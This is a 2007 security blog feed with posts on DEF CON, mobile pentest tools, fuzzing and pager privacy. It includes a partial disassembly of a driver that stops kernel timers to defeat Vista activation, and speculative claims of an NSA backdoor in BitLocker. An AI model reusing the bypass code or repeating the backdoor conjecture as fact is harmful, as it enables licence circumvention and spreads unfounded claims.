type='text'>defcon  |  0x0F0000</title><content type='html'>I arrive in fabulous &lt;a href="http://www.lasvegas.com/"&gt;Las Vegas&lt;/a&gt;, lots of cons here, but none more fitting than &lt;a href="http://www.defcon.org/"&gt;defcon&lt;/a&gt;.&lt;br /&gt;A city based on a synthetic reality hosting a con about the synthetic-ness of reality.&lt;br /&gt;&lt;br /&gt;It's being held at the &lt;a href="http://www.rivierahotel.com/mainpage.html"&gt;Riviera&lt;/a&gt; this year, as it was last.  I didn't go last year, so this was my first at the new venue.  I had been going to &lt;a href="http://alexispark.com/"&gt;Alexis Park&lt;/a&gt; since &lt;a href="http://www.defcon.org/html/defcon-9/defcon-9-pre.html"&gt;dc9&lt;/a&gt; (it moved there around dc8).  I found  out why I like the Alexis Park better.&lt;br /&gt;&lt;br /&gt;The camp defcon effect.  For me at least 25% of the uniq-ness of the con was the fact that the entire hotel was defcon.  We ate defcon, drank defcon, talked defcon, had defcon pool3 parties, slept defcon (ok no sleep), even had &lt;a href="http://www.hackaday.com/2005/07/30/defcon-day-2-dont-use-the-atm/"&gt;defcon ATM machines&lt;/a&gt;...we became defcon.    That's missing at the Riviera.&lt;br /&gt;&lt;br /&gt;DT says &lt;a href="http://blog.washingtonpost.com/securityfix/2006/08/talking_with_the_dark_tangent.html"&gt;"evolve or die"&lt;/a&gt;...he has been good to us so far.  I'll suspend dis-belief and give it a try.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-1776987228846008374?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/1776987228846008374/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=1776987228846008374' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1776987228846008374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1776987228846008374'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/08/defcon-0x0f.html' title='defcon  |  0x0F0000'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-1722319695269078947</id><published>2007-03-23T20:56:00.000-04:00</published><updated>2007-03-23T21:56:07.886-04:00</updated><title type='text'>neurochem, code and software security</title><content type='html'>I've been thinking over a bunch of intertwined threads regarding the architecture of reality that is imposed on the dominant social fabric.  This idea is extrapolated from several sources.  The most well know is the work published by &lt;a href="http://www.lessig.org/blog/"&gt;Larry &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Lessig&lt;/span&gt;&lt;/a&gt; on how code &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;influences&lt;/span&gt; the architecture of cyberspace which in turn &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;influences&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;cyber &lt;/span&gt;"norms" and several other factors.&lt;br /&gt;&lt;br /&gt;The relevance to the interactions of social/mental norms of software developers&lt;br /&gt;based on their &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;neurochemical&lt;/span&gt; based architecture of reality becomes important when that reality gets coded and is alive in cyberspace in the form of software, infrastructure and &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;applications&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;There is a mainstream &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;cyber&lt;/span&gt; architecture that is evolving that we interact within the &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;constraints&lt;/span&gt; of daily on the inter-web.   Arguably these are driven primarily by &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;commerce&lt;/span&gt;, but at the end of the day, can only &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_9"&gt;reflect&lt;/span&gt; the interpretation of system requirements interpreted as the output of the individual coder's  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;neurochmical&lt;/span&gt; /internal reality architecture.  &lt;br /&gt;&lt;br /&gt;So the &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_11"&gt;resilience&lt;/span&gt; of software based systems has a ceiling based on &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_12"&gt;development&lt;/span&gt; teams norms which is highly &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;influecned&lt;/span&gt; by a few &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;individuals&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;naturally&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_16"&gt;imposed&lt;/span&gt; limits in vision/architecture based on the current state of brain &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;neurochemistry&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;I need to think over some of this stuff but it comes down to this.   Individuals that can reliably break systems (software and &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_18"&gt;otherwise&lt;/span&gt;) are have wired themselves or are &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_19"&gt;naturally&lt;/span&gt; wired to have an expanded view of the given system's architecture and are working outside the constraints of the norms and &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_20"&gt;architecture&lt;/span&gt; of the system's &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_21"&gt;designer's&lt;/span&gt;.  &lt;a href="http://en.wikipedia.org/wiki/Matt_Blaze"&gt;Matt Blaze&lt;/a&gt; is a good example of this type of person.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-1722319695269078947?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/1722319695269078947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=1722319695269078947' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1722319695269078947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/1722319695269078947'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/03/neurochem-code-and-software-security.html' title='neurochem, code and software security'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2277099485078751705</id><published>2007-03-16T15:27:00.000-04:00</published><updated>2007-03-23T21:57:57.322-04:00</updated><title type='text'>metasploit and kismet on the nokia n800</title><content type='html'>I've always been into embedded systems.  My &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;mindstorms&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;rcx&lt;/span&gt; 1.0 runs &lt;a href="http://en.wikipedia.org/wiki/Forth_%28programming_language%29"&gt;forth&lt;/a&gt;,  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;linksys&lt;/span&gt; wireless gear runs &lt;a href="http://www.dd-wrt.com/dd-wrtv2/index.php"&gt;dd-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;wrt&lt;/span&gt;&lt;/a&gt;, I have an old &lt;a href="http://www.hpcfactor.com/reviews/hardware/ibm/workpad-z50/"&gt;IBM z50 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;workpad&lt;/span&gt;&lt;/a&gt; running &lt;a href="http://www.netbsd.org/Ports/hpcmips/"&gt;NetBSD&lt;/a&gt;&lt;a href="http://www.netbsd.org/Ports/hpcmips/"&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;hpcmips&lt;/span&gt;.&lt;/a&gt;   I remember sitting though a talk @ &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;defcon&lt;/span&gt; 9 running &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;dsniff&lt;/span&gt; on it with an old &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;orinoco&lt;/span&gt; card and this guy trying throwing x86 exploits at it.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.nseries.com/n800"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;nokia&lt;/span&gt; n800&lt;/a&gt; runs &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;debian&lt;/span&gt; and is the latest in a series of projects for me.   I'm &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_11"&gt;definitely&lt;/span&gt; not the first to figure out that this is a very nice device for mobile work.  HDM recognized &lt;a href="http://erratasec.blogspot.com/2007/02/needs-more-cowbell.html"&gt;David &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Maynor&lt;/span&gt;&lt;/a&gt; as one of the first to have published pictures of this.&lt;br /&gt;&lt;br /&gt;Additionally the "old" nokia 770 was the originall platform that Dave Aitel  sells a mobile version of CANVAS + a bunch of other automated tools.  It's called &lt;a href="http://www.immunityinc.com/products-silica.shtml"&gt;silica&lt;/a&gt; and was a big hit at &lt;a href="http://content.zdnet.com/2346-12691_22-53766-1.html"&gt;RSA2007&lt;/a&gt;.  It has since been updated to use the N800.&lt;br /&gt;&lt;br /&gt;Anyway...here are some of my pics.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_0rmHZ5EqPRo/Rfr0LTEavjI/AAAAAAAAABo/6NXA-Hnq8VE/s1600-h/msf_n800.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_0rmHZ5EqPRo/Rfr0LTEavjI/AAAAAAAAABo/6NXA-Hnq8VE/s400/msf_n800.jpg" alt="" id="BLOGGER_PHOTO_ID_5042611207729233458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_0rmHZ5EqPRo/Rfr0ZjEavkI/AAAAAAAAABw/sy-M9YzX1rs/s1600-h/kismet_n800.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_0rmHZ5EqPRo/Rfr0ZjEavkI/AAAAAAAAABw/sy-M9YzX1rs/s400/kismet_n800.jpg" alt="" id="BLOGGER_PHOTO_ID_5042611452542369346" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2277099485078751705?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2277099485078751705/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2277099485078751705' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2277099485078751705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2277099485078751705'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/03/metasploit-hping2-and-nmap-on-nokia.html' title='metasploit and kismet on the nokia n800'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_0rmHZ5EqPRo/Rfr0LTEavjI/AAAAAAAAABo/6NXA-Hnq8VE/s72-c/msf_n800.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-3614517006382990508</id><published>2007-03-12T21:08:00.000-04:00</published><updated>2007-03-13T13:55:11.429-04:00</updated><title type='text'>Vista, bitlocker and  a short history of domestic backdoors</title><content type='html'>Ah....now Vista is mainstream.    Sure, I've tried it for my 30 days.   I never got the cool graphics and stuff though.  I immediately forced it back to "classic" mode.   None of my systems are fast enough to run it with the mac graphics.&lt;br /&gt;&lt;br /&gt;All the &lt;a href="http://www.backhat.com/"&gt;blackhat&lt;/a&gt; 06 talks about Vista were actually pretty good in describing the security built into the development life cycle and the _attempt_ at over engineering the OS the way &lt;a href="http://en.wikipedia.org/wiki/Digital_Equipment_Corporation"&gt;DEC&lt;/a&gt; had done two decades ago with &lt;a href="http://www.openvms.org/"&gt;OpenVMS&lt;/a&gt;.  But that's a topic for another day.&lt;br /&gt;&lt;br /&gt;So now we have built in disk encryption.   There are laws about data privacy that waive public disclosure of lost laptops with personal information on them if the data is "encrypted".   Seems reasonable.   Of course the laws say nothing about key management.   That's always the hard part.&lt;br /&gt;&lt;br /&gt;Speaking of key management, I'm thinking there is very sophisticated type of key management built into bitlocker.   But it's not for security...it's for government forensics.&lt;br /&gt;&lt;br /&gt;Here are three examples of why smart money says we will find out about this in...ummm...10 years or so maybe.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Lotus_Notes#Security"&gt;Key management in Lotus Notes&lt;/a&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Page 80 of this &lt;a href="http://www.redbooks.ibm.com/abstracts/sg245341.html"&gt;IBM RedBook&lt;/a&gt; has details&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.mail-archive.com/cryptography@wasabisystems.com/msg01902.html"&gt;Info on the key itself &lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/NSAKEY"&gt;Key management in Windows&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.epic.org/crypto/clipper/"&gt;&lt;span style="text-decoration: underline;"&gt;Flawed attempt at PUBLIC escrowed encryption key management (clipper chip)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;A couple of thoughts come to mind after a quick perusal of those links:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;No key escrow will ever be made public...NSA tried once, it failed...better to keep it a secret.   Lesson learned.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Vista crypto is engineered with NSA key components,  similar to  earlier  implementations  but with even greater sophistication.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Law enforcement  will deny  the ability to crack Vista crypto and will continue to state publicly that the encryption keys were "found".&lt;/li&gt;&lt;/ol&gt;The NSA is the best of the best.  I can't wait to find out how they did it this time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Digital_Equipment_Corporation"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3614517006382990508?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3614517006382990508/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3614517006382990508' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3614517006382990508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3614517006382990508'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/03/vista-bitlocker-and-short-history-of.html' title='Vista, bitlocker and  a short history of domestic backdoors'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2666114995886562922</id><published>2007-02-23T13:46:00.000-05:00</published><updated>2007-03-09T11:12:28.562-05:00</updated><title type='text'>mr_rodgers part II</title><content type='html'>I finally got around to completing phase II of my citrix program neighborhood fuzzing script. Now it can submit requests as well as enumerate them. Phase 3 and 4 are to auto fuzz parameters that can be fuzzed then add a gui to it.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_0rmHZ5EqPRo/RfGHWzEaviI/AAAAAAAAABg/CMCSE2KLIv0/s1600-h/mr_rodgers_gt4096_source.bmp"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_0rmHZ5EqPRo/RfGHWzEaviI/AAAAAAAAABg/CMCSE2KLIv0/s400/mr_rodgers_gt4096_source.bmp" alt="" id="BLOGGER_PHOTO_ID_5039958283739905570" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_0rmHZ5EqPRo/Rd83iaZzFdI/AAAAAAAAABU/1WsxHxRraIw/s1600-h/mr_rodgers_II.bmp"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2666114995886562922?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2666114995886562922/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2666114995886562922' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2666114995886562922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2666114995886562922'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/02/mrrodgers-part-ii.html' title='mr_rodgers part II'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_0rmHZ5EqPRo/RfGHWzEaviI/AAAAAAAAABg/CMCSE2KLIv0/s72-c/mr_rodgers_gt4096_source.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-2229506768236870587</id><published>2007-02-13T21:24:00.000-05:00</published><updated>2007-02-13T21:41:19.171-05:00</updated><title type='text'>privacy of pocsag alerts</title><content type='html'>This is a simple post.  If you are still using pagers to transmit important data unencrypted...like information system status, you are at very high risk of data disclosure. &lt;br /&gt;&lt;br /&gt;There is plenty of &lt;a href="http://www.zorg.org/radio/pocsag.php"&gt;software&lt;/a&gt; for use with radio scanners.   This post to &lt;a href="http://www.five-ten-sg.com/risks/risks-19.39.txt"&gt;RISKS&lt;/a&gt;, although quite old illustrates the extent of the problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-2229506768236870587?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/2229506768236870587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=2229506768236870587' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2229506768236870587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/2229506768236870587'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/02/privacy-of-pocsag-alerts.html' title='privacy of pocsag alerts'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-6208403434338837038</id><published>2007-02-12T13:33:00.000-05:00</published><updated>2007-02-11T19:15:20.468-05:00</updated><title type='text'>breakpoint</title><content type='html'>I get this book in the mail.   It's by &lt;a href="http://en.wikipedia.org/wiki/Richard_A._Clarke"&gt;Richard A. Clarke&lt;/a&gt; and its called &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;breakpoint&lt;/span&gt;.   If I'm not in front of a computer terminal, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;pda&lt;/span&gt; or a cell phone...I'm usually reading.   However I've only read about 6 novels in my life.  I suppose it's kind of weird. &lt;br /&gt;&lt;br /&gt;So this book is special in several respects.  I'd read Against All Enemies, written by the same author, a few years back and thought it was pretty cool to get a first hand account of government action, reaction and inaction around that time.   The book came from a special person that got it for me at a book signing, with a note from the author. &lt;br /&gt;&lt;br /&gt;I had to read it.  I'm not a good judge of good fiction, but this did not strike me as &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;particularly&lt;/span&gt; well written.   It did however well exceed the purpose of exposing aspects of the non-fictional world that I find of keen interest.   Those aspects happen to be related to how fragile our  computerized, pda and  cellphone world are.   And how that fragility is manifested by using the very infrastructure that allow us to live our lives as we do today, against itself.  &lt;br /&gt;&lt;br /&gt;I first  heard this in the 90s from &lt;a href="http://en.wikipedia.org/wiki/Peter_G._Neumann"&gt;Peter Neumann&lt;/a&gt;  at a USENIX con.   The idea that the more fast and efficient networks get, the more risk there is that they can be used against themselves.   As it turns out this applies to most everything from an information  security standpoint.&lt;br /&gt;&lt;br /&gt;Now I can say I've read about seven novels in my life....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-6208403434338837038?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/6208403434338837038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=6208403434338837038' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6208403434338837038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/6208403434338837038'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/02/breakpoint.html' title='breakpoint'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-6107093232550542348</id><published>2007-02-11T19:02:00.000-05:00</published><updated>2007-02-13T21:41:48.378-05:00</updated><title type='text'>stopping kernel timers in NT 6.x</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_0rmHZ5EqPRo/Rc-xUKZzFcI/AAAAAAAAABI/r3oUWe68K4k/s1600-h/not_sysrec.bmp"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_0rmHZ5EqPRo/Rc-xUKZzFcI/AAAAAAAAABI/r3oUWe68K4k/s400/not_sysrec.bmp" alt="" id="BLOGGER_PHOTO_ID_5030434268744193474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Someone comes up with this idea that you install copy Vista, with 30 days to activation.  Then promptly install a kernel rootkit...eehhmmm  device driver that stops the kernel timers.  I figure the device driver HAS to have some form of malware in it.  So I break out ida and here is what I see.  You be the judge....&lt;br /&gt;&lt;br /&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;.text:00011000 ; Format      : Portable executable for IBM PC (PE)&lt;br /&gt;.text:00011000 ; Section 1. (virtual address 00001000)&lt;br /&gt;.text:00011000 ; Virtual size                  : 000001A3 (    419.)&lt;br /&gt;.text:00011000 ; Section size in file          : 00000200 (    512.)&lt;br /&gt;.text:00011000 ; Offset to raw data for section: 00000400&lt;br /&gt;.text:00011000 ; Flags 68000020: Text Not pageable Executable Readable&lt;br /&gt;.text:00011000 ; Alignment     : 16 bytes ?&lt;br /&gt;.text:00011000&lt;br /&gt;.text:00011000                 model flat&lt;br /&gt;.text:00011000&lt;br /&gt;.text:00011000 ; ---------------------------------------------------------------------------&lt;br /&gt;.text:00011000&lt;br /&gt;.text:00011000 ; Segment type: Pure code&lt;br /&gt;.text:00011000 _text           segment para public 'CODE' use32&lt;br /&gt;.text:00011000                 assume cs:_text&lt;br /&gt;.text:00011000                 ;org 11000h&lt;br /&gt;.text:00011000                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing&lt;br /&gt;.text:00011000                 dd 0&lt;br /&gt;.text:00011004                 db 2 dup(0)&lt;br /&gt;.text:00011006&lt;br /&gt;.text:00011006 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦&lt;br /&gt;.text:00011006&lt;br /&gt;.text:00011006 ; Attributes: bp-based frame&lt;br /&gt;.text:00011006&lt;br /&gt;.text:00011006 sub_11006       proc near               ; CODE XREF: sub_11080+Bp&lt;br /&gt;.text:00011006                                         ; sub_11080+23p&lt;br /&gt;.text:00011006&lt;br /&gt;.text:00011006 var_28          = byte ptr -28h&lt;br /&gt;.text:00011006 var_C           = dword ptr -0Ch&lt;br /&gt;.text:00011006&lt;br /&gt;.text:00011006                 mov     edi, edi&lt;br /&gt;.text:00011008                 push    ebp&lt;br /&gt;.text:00011009                 mov     ebp, esp&lt;br /&gt;.text:0001100B                 sub     esp, 28h&lt;br /&gt;.text:0001100E                 push    ebx&lt;br /&gt;.text:0001100F                 push    esi&lt;br /&gt;.text:00011010                 push    edi&lt;br /&gt;.text:00011011                 lea     eax, [ebp+var_28]&lt;br /&gt;.text:00011014                 push    eax&lt;br /&gt;.text:00011015                 call    ds:KeInitializeTimer&lt;br /&gt;.text:0001101B                 mov     esi, ds:KeSetTimer&lt;br /&gt;.text:00011021                 or      ebx, 0FFFFFFFFh&lt;br /&gt;.text:00011024                 mov     edi, ebx&lt;br /&gt;.text:00011026                 jmp     short loc_1102E&lt;br /&gt;.text:00011028 ; ---------------------------------------------------------------------------&lt;br /&gt;.text:00011028&lt;br /&gt;.text:00011028 loc_11028:                              ; CODE XREF: sub_11006+34j&lt;br /&gt;.text:00011028                 add     edi, 0FFFFFFFFh&lt;br /&gt;.text:0001102B                 adc     ebx, 0FFFFFFFFh&lt;br /&gt;.text:0001102E&lt;br /&gt;.text:0001102E loc_1102E:                              ; CODE XREF: sub_11006+20j&lt;br /&gt;.text:0001102E                 push    0&lt;br /&gt;.text:00011030                 push    ebx&lt;br /&gt;.text:00011031                 push    edi&lt;br /&gt;.text:00011032                 lea     eax, [ebp+var_28]&lt;br /&gt;.text:00011035                 push    eax&lt;br /&gt;.text:00011036                 call    esi&lt;br /&gt;.text:00011038                 test    al, al&lt;br /&gt;.text:0001103A                 jz      short loc_11028&lt;br /&gt;.text:0001103C                 mov     esi, [ebp+var_C]&lt;br /&gt;.text:0001103F                 lea     eax, [ebp+var_28]&lt;br /&gt;.text:00011042                 push    eax&lt;br /&gt;.text:00011043                 call    ds:KeCancelTimer&lt;br /&gt;.text:00011049                 jmp     short loc_1104E&lt;br /&gt;.text:0001104B ; ---------------------------------------------------------------------------&lt;br /&gt;.text:0001104B&lt;br /&gt;.text:0001104B loc_1104B:                              ; CODE XREF: sub_11006+4Bj&lt;br /&gt;.text:0001104B                 sub     esi, 10h&lt;br /&gt;.text:0001104E&lt;br /&gt;.text:0001104E loc_1104E:                              ; CODE XREF: sub_11006+43j&lt;br /&gt;.text:0001104E                 cmp     dword ptr [esi], 0&lt;br /&gt;.text:00011051                 jnz     short loc_1104B&lt;br /&gt;.text:00011053                 pop     edi&lt;br /&gt;.text:00011054                 lea     eax, [esi+10h]&lt;br /&gt;.text:00011057                 